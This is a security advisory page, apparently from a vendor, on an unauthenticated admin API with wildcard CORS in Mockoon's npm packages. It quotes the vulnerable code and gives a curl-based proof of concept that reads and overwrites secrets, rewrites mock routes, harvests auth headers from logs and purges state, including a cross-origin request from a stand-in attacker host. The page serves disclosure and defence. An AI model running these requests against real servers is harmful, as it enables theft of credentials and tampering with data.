Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-rqx4-3f6q-3x2v

HIGHFix: mockoon/mockoon#2254

GHSA-rqx4-3f6q-3x2v is a high-severity (CVSS 8.8) Missing Authentication vulnerability in @mockoon/commons-server. O3 Security confirms whether GHSA-rqx4-3f6q-3x2v is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft

Also known asCVE-2026-59148
Published
Sep 11, 2026
Updated
Sep 11, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Aug 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-rqx4-3f6q-3x2v.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk
0.00%0.22%0.45%0.67%0.2%0.2%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-rqx4-3f6q-3x2v plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 371,625 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
📦@mockoon/commons-server📦@mockoon/cli

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: * on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOON_ADMIN_TOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

  • Read every MOCKOON_* env var used by the operator as secret material in templates (getEnvVar helper).
  • Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOON_API_KEY, MOCKOON_JWT_SECRET, …, or write process-level vars like AWS_SECRET_ACCESS_KEY that the surrounding runtime consumes.
  • Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
  • Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
  • Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.


Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

private options: ServerOptions = {
  ...,
  enableAdminApi: true,        // ← default on
};

packages/cli/src/commands/start.ts:200:

enableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

enableAdminApi: true,          // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

app.use(`${adminApiPrefix}*`, (req, res, next) => {
  res.setHeaders(
    new Headers({
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods':
        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
      'Access-Control-Allow-Headers':
        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
    })
  );
  next();
});

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

const setEnvVarHandler = (req, res) => {
  try {
    const { key, value } = req.body;
    if (key !== undefined && value !== undefined) {
      process.env[key] = value;                            // ← any process env, any value
      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
    } else {
      throw new Error('Key or value missing from request');
    }
  } catch (_error) {
    res.status(400).send({ message: 'Invalid request' });
  }
};

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

app.put(`${adminApiPrefix}/environment`, (req, res) => {
  try {
    const environment: Environment = EnvironmentSchema.validate(req.body).value;
    if (!environment) {
      res.status(400).send({ message: 'Invalid environment format' });
      return;
    }
    updateEnvironment(environment);                        // ← runtime mutation of every route response
    res.send({ message: 'Environment updated' });
  } catch (_error) {
    res.status(400).send({ message: 'Invalid environment format' });
  }
});

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.


PoC

Live reproduction (2026-05-11, @mockoon/[email protected])

npm install @mockoon/[email protected]. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOON_API_KEY'}}. Start with:

MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND  PID    USER  FD  TYPE  ...  NAME
node    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON_* env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Access-Control-Request-Method: POST" \
    -H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: * + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
          statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge
{"response":"Server has been reset to its initial state"}

Impact

In typical local-dev mode (CVSS 8.8 High):

  • Secret read of every MOCKOON_* env var (API keys, JWT signing keys, OAuth client secrets).
  • Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds.
  • Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).
  • Auth-token harvesting via transaction logs / SSE stream.
  • State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

  • All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

Suggested fix

  1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOON_ADMIN_TOKEN env var, compared with crypto.timingSafeEqual.
  2. Stop sending Access-Control-Allow-Origin: * on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin.
  3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.
  4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix.
  5. Add SECURITY.md with disclosure instructions.
  6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npm@mockoon/commons-serverall versions9.7.0
📦npm@mockoon/cliall versions9.7.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @mockoon/commons-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @mockoon/commons-server to 9.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rqx4-3f6q-3x2v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-rqx4-3f6q-3x2v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-rqx4-3f6q-3x2v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Mockoon's admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no
O3 Security · Impact-Aware SCA

Is GHSA-rqx4-3f6q-3x2v in your dependencies?

O3 detects GHSA-rqx4-3f6q-3x2v across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-rqx4-3f6q-3x2v: High 8.8 severity | O3 Security